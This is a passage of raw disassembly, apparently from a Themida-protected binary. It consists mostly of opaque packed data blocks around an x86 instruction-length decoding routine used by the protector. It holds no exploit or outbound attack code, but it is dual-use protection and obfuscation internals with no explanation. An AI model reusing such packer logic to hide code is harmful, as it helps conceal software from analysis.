8D8BF62Bh dd 5E72B71h, 0F37148Bh, 158Dh, 10E900h, 0D3920000h, 46120D6Dh dd 2B69DB71h, 97CCDC2Dh, 0EA81B354h, 2BCBE217h, 0A1BFF281h dd 9D234385h, 5E70ECDh, 0EFF9EA81h, 0B70F6CAFh, 371489DEh dd 10BE9FB9h, 5E84Dh, 22F80000h, 603EB89Dh, 0AEF28166h dd 0D18D8B2Eh, 6105E725h, 0D0EE8158h, 0E8749887h, 6, 2AC1632h dd 858B9B56h, 5E720D1h, 0CCC68159h, 66749887h, 0BDECC081h dd 0A740FE81h, 850FFFFFh, 0FFFFFF78h, 0E9C78B66h, 1C8h dd 8 dup(418888h), 4 dup(0) dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h dd 0 dd 600h, 4444h, 41h, 11111111h, 44444444h, 0C9880299h dd 100203h, 118888h, 88888888h, 11111111h, 1644h, 2 dup(88000000h) dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2 dup(0) aIiiiiiiiaiiiii db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0 aIssi db 'ˆ™™ˆ',8,0 db 2 dup(0), 88h aDdddddddiiiiii db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0 aAs_0 db '€™',0 dd 88998000h, 88888888h, 88888900h, 89998888h, 0 dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h dd 8888888h, 3E362E26h, 67666564h, 0F3F2F0h, 0 dd 0FFFFFFFFh, 4016E6h, 4016FAh, 2 dup(0) dd 1, 14h dup(0) aAcawu db 'Àcíwu',0 align 4 dd 1, 11h dup(0) dd 353E9h, 0E85500h, 5D000000h, 0BCBEED81h, 0C76005ECh dd 0ECBC0B85h, 5, 3E816600h, 850FA166h, 0Fh, 0BC0F85C7h dd 605ECh, 24E90000h, 8D000000h, 0ECBC1385h, 858D5005h dd 5ECBC63h, 6A5650h, 1DE8h, 10C48300h, 0FF25h, 0F858900h dd 6105ECBCh, 0BC0FB503h, 858B05ECh, 5ECBC0Bh db 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_599FCB mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_599FD7 ; --------------------------------------------------------------------------- loc_599FCB: ; CODE XREF: Themida_:00599FB4j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_599FD7: ; CODE XREF: Themida_:00599FC6j push ebx push esi push edi loc_599FDA: ; CODE XREF: Themida_:0059A02Fj ; Themida_:0059A04Bj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_599FED: ; CODE XREF: Themida_:0059A014j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 5ECBD75h lea ebp, [ebp+5ECBBEBh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_59A01A inc cl cmp cl, 0Bh jb loc_599FED loc_59A01A: ; CODE XREF: Themida_:0059A009j cmp cl, 0Bh jz loc_59A077 cmp al, 66h jnz loc_59A058 cmp byte ptr [ebp-5], 0 jnz loc_599FDA cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_59A050 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_599FDA ; --------------------------------------------------------------------------- loc_59A050: ; CODE XREF: Themida_:0059A03Dj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59A058: ; CODE XREF: Themida_:0059A025j cmp al, 67h jnz loc_599FDA cmp byte ptr [ebp-6], 0 jnz loc_599FDA xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_599FDA ; --------------------------------------------------------------------------- loc_59A077: ; CODE XREF: Themida_:0059A01Dj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_59A0A3 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_59A0A8 ; --------------------------------------------------------------------------- loc_59A0A3: ; CODE XREF: Themida_:0059A082j movzx edi, al shr edi, 1 loc_59A0A8: ; CODE XREF: Themida_:0059A09Ej push ebp call $+5 pop ebp sub ebp, 5ECBE2Dh lea ebp, [ebp+5ECBAEBh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_59A22A mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_59A16E dec ecx jz loc_59A151 dec ecx jnz loc_59A1C1 cmp byte ptr [ebp-2], 0 jnz loc_59A1BD cmp byte ptr [ebp-5], 0 jz loc_59A130 mov byte ptr [ebp+0Bh], 2 loc_59A130: ; CODE XREF: Themida_:0059A126j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 5ECBEB9h mov dword ptr [ebp+5ECBC0Bh], 1 pop ebp jmp loc_59A1C1 ; --------------------------------------------------------------------------- loc_59A151: ; CODE XREF: Themida_:0059A10Bj cmp byte ptr [ebp-2], 0 jnz loc_59A19B cmp byte ptr [ebp-5], 0 jz loc_59A19B mov byte ptr [ebp+0Bh], 2 jmp loc_59A19B ; --------------------------------------------------------------------------- loc_59A16E: ; CODE XREF: Themida_:0059A104j cmp byte ptr [ebp-2], 0 jnz loc_59A1B4 cmp byte ptr [ebp-5], 0 jz loc_59A1A3 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_59A19B mov [ebp+0Bh], cl loc_59A19B: ; CODE XREF: Themida_:0059A155j ; Themida_:0059A15Fj ... inc byte ptr [ebp+0Bh] jmp loc_59A1C1 ; --------------------------------------------------------------------------- loc_59A1A3: ; CODE XREF: Themida_:0059A17Cj cmp dl, 5 jnz loc_59A1C1 mov [ebp+0Bh], dl jmp loc_59A1C1 ; --------------------------------------------------------------------------- loc_59A1B4: ; CODE XREF: Themida_:0059A172j cmp dl, 6 jnz loc_59A1C1 loc_59A1BD: ; CODE XREF: Themida_:0059A11Cj mov byte ptr [ebp+0Bh], 3 loc_59A1C1: ; CODE XREF: Themida_:0059A112j ; Themida_:0059A14Cj ... dec byte ptr [ebp+0Bh] jz loc_59A1EF movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_59A1D1: ; CODE XREF: Themida_:0059A1E7j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_59A1D1 mov esi, edx loc_59A1EF: ; CODE XREF: Themida_:0059A1C4j and al, 0FEh cmp al, 0F6h jnz loc_59A224 cmp edi, 7Fh ja loc_59A224 test bl, 38h jnz loc_59A224 cmp byte ptr [ebp-7], 0 jz loc_59A21E movzx eax, byte ptr [ebp-4] jmp loc_59A221 ; --------------------------------------------------------------------------- loc_59A21E: ; CODE XREF: Themida_:0059A20Fj push 1 pop eax loc_59A221: ; CODE XREF: Themida_:0059A219j mov [ebp-1], al loc_59A224: ; CODE XREF: Themida_:0059A1F3j ; Themida_:0059A1FCj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_59A22A: ; CODE XREF: Themida_:0059A0D4j mov al, bl and eax, 7 sub eax, 4 jz loc_59A255 dec eax dec eax jz loc_59A24B and bl, 7 add [ebp-1], bl jmp loc_59A25D ; --------------------------------------------------------------------------- loc_59A24B: ; CODE XREF: Themida_:0059A23Aj mov al, [ebp-3] add al, 6 jmp loc_59A25A ; --------------------------------------------------------------------------- loc_59A255: ; CODE XREF: Themida_:0059A232j mov al, [ebp-3] add al, 4 loc_59A25A: ; CODE XREF: Themida_:0059A250j add [ebp-1], al loc_59A25D: ; CODE XREF: Themida_:0059A246j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_59A285 movzx ecx, byte ptr [ebp-1] inc ecx loc_59A270: ; CODE XREF: Themida_:0059A27Fj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_59A270 loc_59A285: ; CODE XREF: Themida_:0059A265j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLIUOa3cws db '‹Ðë',8,'uÈ®aœ3çwé',0Bh,0Dh,0 dd 0C1886800h, 50E905ECh, 68FFFABDh, 5ECC2C6h, 0FABD46E9h dd 0C44B68FFh, 3CE905ECh, 68FFFABDh, 5ECC578h, 0FABD32E9h dd 0C6FE68FFh, 28E905ECh, 68FFFABDh, 5ECC93Bh, 0FABD1EE9h dd 0CAAB68FFh, 14E905ECh, 68FFFABDh, 5ECCBAAh, 0FABD0AE9h dd 0C4F23EFFh, 0CFEF3F04h, 0CD0D3A01h, 31153403h, 3006301Fh dd 0AAFEB518h, 0A5F25E7Ch, 0A5F25E7Eh, 0A3884060h, 268B4569h dd 22A709ACh, 71BCC699h, 3AAF2D05h, 0ACE442Eh, 7A52BF2Bh dd 0EF390654h, 866A01CFh, 8DEACF87h, 8AC95CF0h, 249065B9h dd 52C692ECh, 990B11B9h, 0AB61F27Ch, 2Fh, 0A80D353Fh, 0C375E2C0h dd 98BEECC3h, 0DB1A6B42h, 0D4548A4h, 5CFED7A8h, 0BF83ECC9h dd 92FE7AFAh, 3B5F0CC6h, 0F272BF51h, 0D28D61h, 52D90000h dd 5E06547Ah, 0B3F2CAF1h, 0E16D525Ch, 27892C70h, 3CC3753Ah dd 19D8BD3h, 0B582D829h, 6FB393h, 63502F08h, 0CA7B7315h dd 750219EFh, 0F8C91AC3h, 0FB10A1AFh, 66C37507h, 0F64E0026h dd 27A69195h, 67C9ECF5h, 7CC37503h, 6DE3C213h, 9AE0C6C6h dd 0A42EEFFDh, 160E44FCh, 6A4042B9h, 0D58DAE0Bh, 0D92AC95Ch dd 91747877h, 0BA249C39h, 8EDFCCB8h, 6AA36CC4h, 0A3010998h dd 0FD250A40h, 0FA2473DDh, 0AE735FDCh, 0E57D7020h, 0AF0F6h dd 0E8EEDA00h, 0D3F3DB60h, 0D1E9D67Dh, 0D5F9D07Fh, 0D4E22C7Bh dd 461AA974h, 41EE6258h, 41EE625Ah, 5FE46444h, 0C2E7694Dh dd 23433580h, 5540C699h, 56645265h, 5B7BADFAh, 0B401C9F5h dd 0C375E2CCh, 23B7F6C7h, 0C0A80D35h, 0C3C375E2h, 4995A1ECh dd 0A9D41760h, 0AD084243h, 0C95CFECCh, 0FF4298E9h, 0C692FE05h dd 4A90A690h, 3604347Dh, 0FEA50BAEh, 6DBEC692h, 63CFCB82h dd 0B69A3CEFh, 61F2721Eh, 765870DFh, 0F2C80C3Bh, 0F5E3589Bh dd 0E7000000h, 6547A52h, 0F4D4F15Eh, 6E4D8DB5h, 0E2E1703h dd 46724960h, 5EE1E93Ah, 350D684Eh, 68D0E5ADh, 6BC375DFh dd 0D97EDB1Ah, 40C375DAh, 0C36C6648h, 0F3D3F5CBh, 0A68D43A2h dd 6A7A4066h, 0A0A117A2h, 472BC375h, 0F3BF0E5Eh, 1053BC0Dh dd 0A5977F6Dh, 2C7430DEh, 0C4D1F9CAh, 0C95C282Bh, 0AF8781B9h dd 0E776CDBEh, 0F649D79Fh, 0E6C5A2F7h, 9919CD15h, 8DEF5164h dd 9BE4C692h, 167C2643h, 806C0BC5h, 39E0359Dh, 3ACCB848h dd 505EE1E9h, 0CFDF606Ah, 6ED2E7EFh, 65C8A48Ah, 0C1BD914h dd 0C2E02A02h, 0DF5CADFCh, 702189FDh, 0B2706BC7h, 94000009h dd 95A2AEA8h, 90BF91B1h, 92B997A7h, 0EEB59BBBh, 6FB69AA0h dd 20160058h, 20140328h, 2A0A0328h, 2F0F1926h, 0F3C68021h dd 0C699200Dh, 52A31706h, 0ADFA5664h, 0C9F55B7Bh, 0C185FF71h dd 7B98E2DAh, 441251F9h, 72547A52h, 0DDCAE42Dh, 7F4EACFDh dd 0D3F5C23Ch, 4B74DBF3h, 0C519396Dh, 66479BE4h, 0BE32C907h dd 60CFF7DFh, 0D1380628h, 0EA303592h, 64B5C95Ch, 0EADEA316h dd 0FEA6C692h, 0EA1DE336h, 0C516C692h, 0C9D3F7E6h, 61F28257h dd 4C90BB84h, 846D376Ah, 714C7892h, 65094h, 0EE02DE00h dd 6D12A72Fh, 6AC95D11h, 8470C519h, 11C692CCh, 381E0C2Ah dd 79A493EFh, 0FE6D015Dh, 0D3F856D8h, 5C33ADB7h, 221161F2h dd 55000006h, 0A72FEE02h, 0E256DAFFh, 26DC375h, 9DD82909h dd 0EAABC4D1h, 0F7C0C95Ch, 0EA6ED6ABh, 0CEFBC692h, 4647B08Eh dd 0C7741866h, 38D37FC3h, 8AD559Eh, 0C692EAA0h, 841352A3h dd 61F2820Ch, 5E038h, 53E48A00h, 0E5EDB03Ch, 1624123Dh dd 2582E1C8h, 0C95CEA58h, 2A0B055Dh, 8FDDAD32h, 1C1C14BEh dd 4B67B319h, 18B93477h, 4A6CC2EBh, 0E3EBAA46h, 3A75033Bh dd 3B46F168h, 340FF9E3h, 0A698C5Bh, 0A0C2FCADh, 52A8F958h dd 0C0C8B735h, 0F37BA4FEh, 7125CB60h, 9981AE20h, 310C5DA1h dd 3ABD10A5h, 65B65EBEh, 0E4CAC26Dh, 0E9CDDF64h, 1A7B9C34h dd 0EFEC4402h, 82Dh, 252B1319h, 222E0C1Eh, 3C2C2C15h, 38103417h dd 39172713h, 9D85DD94h, 998493BDh, 878493BDh, 8A82A9A7h dd 4D05A4A4h, 99268068h, 269083C6h, 0F4220D35h, 0D491F8C6h dd 0C375E26Ch, 0F8D71667h, 17B08ED0h, 79234D9h, 0C962A2A0h dd 0F9D87041h, 0C699224Bh, 0E5ADE1A0h, 992268D0h, 0DB1A6BC6h dd 5EF2D4F4h, 0E5304AA1h, 0C6992213h, 0EECED910h, 0BF1A4C9Dh dd 0C69922D1h, 42ADF1C2h, 38E4644Ah, 8FDC5800h, 1E51D55Dh dd 0F9D02E0Ch, 2677DDBAh, 0A9E2C699h, 0D79F4789h, 99267EC2h dd 942D75C6h, 0E3E1C91Bh, 0E52D1C6Dh, 91BB96D5h, 288C714Dh dd 0EC699B0h, 0BDEF3D5Dh, 2B9D38E0h, 28C699B0h, 0B0961ADFh dd 5CADC699h, 5676DD73h, 0ED572A70h, 33C699A0h, 8A822EA8h dd 81D22A4h, 0D3FBD228h, 998072C6h, 0C52071C6h, 1334C0Fh dd 359A0000h, 3E1C226Ah, 67A18CEFh, 1F0C7B47h, 0E28D7346h dd 0B586C375h, 0CBDD6264h, 77B697EBh, 0E2C2B60Bh, 4D5FC375h dd 767A1569h, 79A3F97h, 3CC962A2h, 0E1A02ED3h, 0F0486A3Ch dd 700EBh, 0D8FE2A00h, 0C3E32B70h, 0C1F9260Dh, 0C5E9200Fh dd 0C4F23C0Bh, 560AB904h, 51FE5268h, 51FE526Ah, 0AFF45474h dd 32F7597Dh, 27B30590h, 45B0C699h, 547A5215h, 0B0F13906h dd 75E29365h, 684790C3h, 0EF3E1C22h, 3F6B349Eh, 6C10DC1Fh dd 84E7D7C3h, 0A5C7CA9h, 35B09A32h, 0F332E672h, 0D0F6D67Dh dd 0C9E7D378h, 4F9EFCDCh, 0EBD7207Eh, 70FB8FD3h, 99B29D56h dd 2B177AB9h, 26F3BB13h, 0C3759C52h, 6B4E0051h, 0C3759C85h dd 0E26E4D9Eh, 0D91073EDh, 105167h, 3E150000h, 0A3h, 1E023C74h dd 7157D565h, 7A52A432h, 0F15E0654h, 5CADF1C9h, 0C71B3B6Dh dd 522287E6h, 0C7C375F2h, 519EFCD8h, 6A0A5068h, 496DD1F9h dd 64A40482h, 79C68E42h, 0D4350931h, 0C891BA99h, 75F21BEDh dd 0FECF18C3h, 0F268DDA0h, 0D080C375h, 25795D4Fh, 0D0F6E9C4h dd 0D57B5B70h, 59795235h, 31113A05h, 7412D9EDh, 0DFC9F7D4h dd 0E24D3386h, 7546C375h, 0A6F7D624h, 0EABB17AAh, 4938C375h dd 67D982D8h, 0FFFEA2F6h, 4B43ECFFh, 355E086Bh, 0C615E77Dh dd 615CE3E2h, 3085Eh, 0A9C9400h, 2549AD31h, 52B82E0Dh dd 0B306547Ah, 0C375E2D1h, 9A365013h, 97BCACB2h, 0E84D91B5h dd 0C375E21Ch, 63BF9F89h, 9A6E4B73h, 99C375E2h, 9A566D48h dd 63C6D3FBh, 0C962A2h, 9B8DBC3Eh, 6544FE60h, 4D320323h dd 6A3C7089h, 7AE0FB57h, 0AC000005h, 0ADFA5660h, 0A8F75979h dd 0AAF15F7Fh, 0A68D4363h, 278E4278h, 0E8EED890h, 0E8ECDB60h dd 0D2F2DB60h, 0D7F7D17Eh, 0BB1E4879h, 0C6992435h, 52EBDFCEh dd 3906547Ah, 0D981C9F1h, 0B5724876h, 0C375E2C3h, 0EA4CFEC0h dd 0C9E9FDEBh, 8FB7BDF8h, 684B6BA0h, 2D230305h, 0DC221806h dd 567FABF4h, 0CF088B3Bh, 0F1CC1D42h, 58A69482h, 0A1038734h dd 188F4179h, 67D92488h, 23C44h, 60D1200h, 8CDDE128h, 654541AEh dd 281D914h, 6DD02EEDh, 0C264E1E5h, 9BADC8Fh, 0E3C2F826h dd 0EA8B9C34h, 213A868h, 23A0000h, 11A42EEDh, 0C375E2AFh dd 0B2075BA4h, 0C264E1B0h, 1B018942h, 68EA8C89h, 95BCE54Ah dd 0B7B42229h, 4DBC8D6Fh, 403D7858h, 1E5h, 0FD43561Eh dd 683D9AE0h, 0EBC2183Eh, 0FCEAC91Ah, 4257ED02h, 0C375E2FEh dd 735BA4F5h, 75E2D6A6h, 0C95EDC3h, 2F3CD167h, 2EE1A709h dd 0EF389D76h, 75FD409Eh, 1FC2648Ah, 4976DF57h, 43F38D7h dd 80DEFE25h, 7F1B4AA9h, 0E9D9FB95h dd 193C968h, 29D0000h, 8CA42EEDh, 9593801Ch, 88C221E5h dd 75FC432Dh, 0D1950C3h, 0C28ADC2Dh, 75FC01F7h, 0F23102C3h dd 0FF39298Ch, 0CBC264h, 6E029286h, 5EC268EAh, 84000001h dd 6547A52h, 1CFEF39h, 8C99866Ah, 0E278C0D5h, 2A7BC375h dd 84A281D9h, 31ACA513h, 0EECBEEE0h, 0EBC95C1Eh, 7678309Ah dd 3A6E5912h, 0DEA39FDEh, 0C6926766h, 0D0DF6010h, 74B796E4h dd 0E57F6565h, 0E761F205h, 52h, 3D6A35E3h, 759A6214h, 84D54651h dd 691457B6h, 0C88283h, 0E7CAF23Fh, 0C3A487A7h, 0C95C4F6Ah dd 15E83607h, 0C6922FAFh, 0F1CD0D3Ah, 59A58586h, 57DBFFEEh dd 0A2B6D0FBh, 61F1C132h, 114E5CE3h, 923B3C84h, 95E637C6h dd 1352705Ah, 84AAh, 7A523C00h, 0F1390654h, 0E29365B0h dd 4790C375h, 0CDDF2876h, 62AA95E9h, 82D8C5Ch, 33C375E7h dd 6B1B3519h, 0E7A216A3h, 50A1C375h, 83826E15h, 8FB9EECBh dd 6DBEC95Fh, 0EEECDA65h, 0EDEDD562h, 39CEB630h, 0B9223E6Ah dd 33Dh, 351B2369h, 321E3C6Eh, 0CC1C3C65h, 0C8002467h dd 0C9073763h, 0AD95CDE4h, 0A994A3ADh, 0B794A3ADh, 0BA92B997h dd 5D75B494h, 992BF078h, 0D680F3C6h, 0FA566452h, 0F55B7BADh dd 4A7A52D5h, 0C41C6240h, 0C4102F2Bh, 0F8C91A15h, 537355A2h dd 1913C37Bh, 2B7C3142h, 84E7C7C4h, 73846948h, 0A14FC375h dd 96CFEAFCh, 3AC95C69h, 0AA298202h, 2E7F4363h, 0DCD082D4h dd 0DC32CE1h, 547A525Dh, 0CFEF3906h, 87866A01h, 0F08DEACFh dd 0B98AC95Ch, 0EC249065h, 0B952C692h, 7C990B11h, 0F55A61F2h dd 5DACF2D2h, 3CA51Eh, 53D0000h, 26592174h, 0E32B06C2h dd 4FAEFFC3h, 2FEE021Bh, 0FEB912A7h, 65B6C95Ch, 0FED0A419h dd 0E5A6C692h, 7265FFE5h, 9E9661F2h, 0C6F03B00h, 7B43AAF0h dd 77B64996h, 0E38Eh, 0D35D800h, 75E2C0A8h, 2E8BC3C3h dd 0C375E25Ah, 0FC3F0859h, 4B97B791h, 3604327Ch, 42F6DFC9h dd 78B09560h, 8FD72B74h, 6A4569A0h, 0E9C01E3Ch, 4865A78Ah dd 0D7C1F97Eh, 0AC8C994Bh, 0FBDE7243h, 0C375D026h, 93B395BAh dd 0B2B7D50h, 82E7EC5h, 0B6579532h, 0CD08B91Ch, 94E5C95Ch dd 7231BFB4h, 0AD257644h, 55A98982h, 18BD3974h, 0CCB8C139h dd 0F1D5F73Ah, 0BAD0FBA9h, 2879894Bh, 0A99199A6h, 0A8AE98A7h dd 205803F3h, 655ED70h, 1CDh, 458BB3F9h, 428EACFEh, 5C8CCCF5h dd 58F0D4F7h, 59F7C7F3h, 3D653D74h, 3964331Dh, 2764331Dh dd 2A62C907h, 0EDE5C404h, 992860C8h, 463063C6h, 0C0A80D35h dd 0C3C375E2h, 496DBFF2h, 231B076Ah, 0A78784ABh, 3D33725Bh dd 85193616h, 659820E8h, 0B75BF5C6h, 0A72FEE02h, 5CFEB912h dd 4F7BB6C9h, 89DA330Fh, 34BC19C1h, 0CFC692FEh, 0FE43BFFEh dd 0C692FF06h, 553F5B70h, 61F271BBh, 0BE89h, 7A52DD00h dd 0F1390654h, 0EB00F5C9h, 16C375E7h, 0F6BE1036h, 75E75D23h dd 3D0556C3h, 0C77CEF61h, 0C20E6D16h, 2F735375h, 44E88FA7h dd 0F12445EDh, 45E10FB2h, 75048870h, 69BA8BC3h, 17D35461h dd 4F98C95Ch, 706EA81h, 84AAE04Fh, 0CD652DA9h, 0D3C3188Ah dd 0CFA88B0Ch, 0CCB8C2B1h, 56F9D122h, 0D7785268h, 0BB0DA8F5h dd 0B8C8A50Dh, 11DF1E6Fh, 413E1C0Ah, 7021109Bh, 0CE8ECD65h dd 0F8000000h, 0F9468ACCh, 0F4438DADh, 0F65DF3CBh, 0F259F7D7h dd 4B5AF6C4h, 1C3A643Ch, 1C3867CCh, 62667CCh, 0B2B7DCAh dd 0D7E2E4C5h, 0C6992961h, 52473362h, 0ADFA5664h, 2C735B7Bh dd 0A687DBE3h, 52D98947h, 5E06547Ah, 0A8F6D6F1h, 0A6B37941h dd 88652E12h, 7E4646ADh, 973F082Eh, 7BA79D88h, 0DD2E7F43h dd 874DA881h, 490104E8h, 624A996Ch, 7D4192C9h, 14341A32h dd 0E5391D0Fh, 5A4F8710h, 0D6E4D222h, 4B73BF88h, 0EEE85377h dd 0DCFAED5Ch, 0D67A5C4Ch, 2018012Eh, 98BEEEC5h, 72527542h dd 0C7C3882Ch, 650A2365h, 0E2E7982h, 25CB9F34h, 0FD2F74D4h dd 3DB9F1D9h, 124618C9h, 9E3D0560h, 0Dh, 615F4BD4h, 0D33A0038h dd 2337A382h, 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh dd 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh dd 906802E4h, 89000060h, 8951241Ch, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 2434895Ch, 121468h, 241C8900h, 8904EC83h dd 0BB82404h, 0F71C8636h, 6F440DD0h, 532560C1h, 354BBB42h dd 60C52262h, 8F9FC62Dh, 58C6891Dh, 241C8B54h, 4C481h dd 0B9510000h, 8, 8952D901h, 5A1189F2h, 241C8B59h, 81E78957h dd 4C7h, 4C78300h, 5C243C87h, 5E2434FFh, 0E904C483h, 0FFFAB057h dd 686A2910h, 5777A9B4h, 0ECCC9DB8h, 0FFC50305h, 0FD0FE0h dd 169F992Bh, 0B686E277h, 7B35AA3Bh, 7BBC4B69h, 3ADBE100h dd 0C7C6FA10h, 3E4EA966h, 0C6198D7Dh, 7307C72Ah, 0C4D4FA76h dd 5EB85F65h, 486E9807h, 4545446Eh, 0A404EB59h, 0E9729063h dd 500h, 0DC3FB21h, 0AC6E426h, 4C4F43Dh, 0C8EC3Fh, 1CF0F3Bh dd 65AD05BCh, 61ACFB55h, 7FACFB55h, 62AAF15Fh, 953D8C5Ch dd 992FB800h, 1E48BBC6h, 404A7A52h, 3F082E7Ch, 3DA108E7h dd 0C91A5A3Ah, 74FCD981h, 0FC37536h, 58EDE43Eh, 30341E5Eh dd 74A28DF5h, 6BBD8A46h, 0C06F774Bh, 88B0F9D7h, 340A5BB2h dd 50D8FDD5h, 53C3758Fh, 0DCCC2302h, 8F423683h, 7041C375h dd 0BEECDB27h, 92F54298h, 527454F4h, 547451FEh, 3A67C8F4h dd 8EED3C02h, 744A6AA3h, 0E2381C0Bh, 3F8D0DDEh, 0BB84CEEEh dd 0FC70B393h, 0F2587557h, 0D4765DE5h, 0CCB18DDEh, 0C3756B67h dd 0F9E3E7E6h, 67D90567h, 5965h, 7A526100h, 1C62404Ah dd 0DB9EFCCDh, 0C375E257h, 0E9F397F6h, 67D98E77h, 0ADB19BA4h dd 1F54Eh, 35F10000h, 68FCD57Dh, 290459C2h, 9CE2C0CAh dd 75B7B53h, 0F1CD1138h, 0DBF35C06h, 6746A7FBh, 0D4F65274h dd 0E2AA5AF6h, 756B61D7h, 0D21162C3h, 0C189ADFFh, 2E0D2D7Eh dd 64526E22h, 0EF3F0856h, 77DFF3CFh, 0E2866A4Fh, 0A03C375h dd 2D08592Ah, 828C1CBAh, 9D8F94B4h, 2D1A65B9h, 4605D12Dh dd 8CD85840h, 0DA6567D9h, 0BF8EECF2h, 75877Ch, 52C30000h dd 58085664h, 0B7F6D6F7h, 49716F58h, 0F3DC2D71h, 189C0AFh dd 6D537BC4h, 0F2C81939h, 4D75589Bh, 0C7102413h, 0C6F42209h dd 0B89C8FF8h, 0B5D5F662h, 0D98C45AFh, 592767h, 35A30000h dd 0CB70F27Dh, 0C3FBBABAh, 0BD136B9Dh, 0F7DA197Bh, 27AFF3CBh dd 0D8EADD0Fh, 1655DEF7h, 0EC32123Bh, 97B86030h, 624B97B7h dd 75253385h, 84E730C3h, 2B17B5D5h, 526D3D13h, 0B1045A78h dd 0C375E2CCh, 0CE132B53h, 58A9E7CEh, 83075695h, 0D9630799h dd 1C567h, 52810000h, 0B57D5565h, 75E29860h, 6B4A9BC3h dd 0DEE02817h, 6B6FFC80h, 60E8D0D9h, 2EA0658Bh, 951BBE66h dd 0AEC375E2h, 0CB91E5Dh, 0E9C95D13h, 0AB0E3698h, 0C692D0C5h dd 50AE8DDEh, 0C8EC3F00h, 0A08686EDh, 0A58983A8h, 0D01EE459h dd 7338C692h, 0F3D3F557h, 0F0D6F65Dh, 3D8316DEh, 36C692D0h dd 4FB886E5h, 8125795Dh, 0C63969C1h, 0B238A4FCh, 0CA666073h dd 7F6CFCC2h, 61F1CCE5h, 167E7h, 2647FF00h, 0EE5267F5h dd 0E5C6921Ah, 0CA884294h, 2FBEFCEh, 8FA72FEEh, 0D1F3FB3Ah dd 8E1D6570h, 0EF702F92h, 60B5017Ch, 0C95C3013h, 9CEB3700h dd 0FEA6AA8Ch, 105A2346h, 42A19B1Bh, 0C5193D6Fh, 78C0D59Dh dd 0E5C69212h, 6EBF83A3h, 2714C9Dh, 0E8852D0Ah, 5466EF38h dd 95ED3157h, 0DB2444A0h, 5E78E387h, 0A3EADAF2h, 1D6EBF83h dd 40288DB5h, 43C6927Bh, 0AE3D3372h, 61F1F536h, 3116h dd 0ED025000h, 7F11A42Eh, 74C375E3h, 9E62D72Bh, 5CC375E2h dd 0E209EBEFh, 740CA921h, 0FC375E3h, 0C169123Eh, 0AD000000h dd 0E268D0E5h, 1A6BC375h, 0EE028FDBh, 0AE98A72Fh, 0B4014DA8h dd 0C95CE86Fh, 0BA98B29Dh, 65B98A7Bh, 3C2C321Ah, 0CD113517h dd 92E68D68h, 0E6E0ABC6h, 6A7C424Ah, 0B3FEC0C5h, 556B78Bh dd 5F95D039h, 6F304CA0h, 0E6C71B23h, 92E4BF01h, 46BB4C6h dd 8DDC2204h, 2052ABCh, 0BB0DA822h, 0B8C692E4h, 9E460C6Fh dd 0E47DC3D6h, 5C76C692h, 92E4F779h, 52A38CC6h, 0B638B613h dd 6EBFCC85h, 867CC64h, 0D9396BE4h, 715BA49Ah, 0F8965364h dd 7D4EA5A0h, 0C8CE9D21h, 5265271Fh, 5FE5FD50h, 8A8B611Ch dd 0B337FC0h, 578DFE33h, 0A69CAD5h, 52797540h, 0DF87C2B1h dd 0B54D76FAh, 0C13C0DD2h, 7D2D230Ch, 0A72FEE02h, 62B05412h dd 983203C9h, 9E3925A0h, 4D95F737h, 109FE69Eh, 141BCABh dd 18301636h, 0E9351933h, 1E749C14h, 781E493Fh, 0F4DEE028h dd 33889CBCh, 509F67BFh, 21085678h, 0E7210EC2h, 0C23E89CEh dd 0DFFA2699h, 0BE1CEC69h, 0FFC8196Ah, 517554A3h, 92AEC179h dd 1085ACA7h, 91EDCDD9h, 71057DB8h, 4C5CECEAh, 4F59E66Ah dd 0F1D8676Fh, 0A9FADAF3h, 1767744Ah, 0AF000000h, 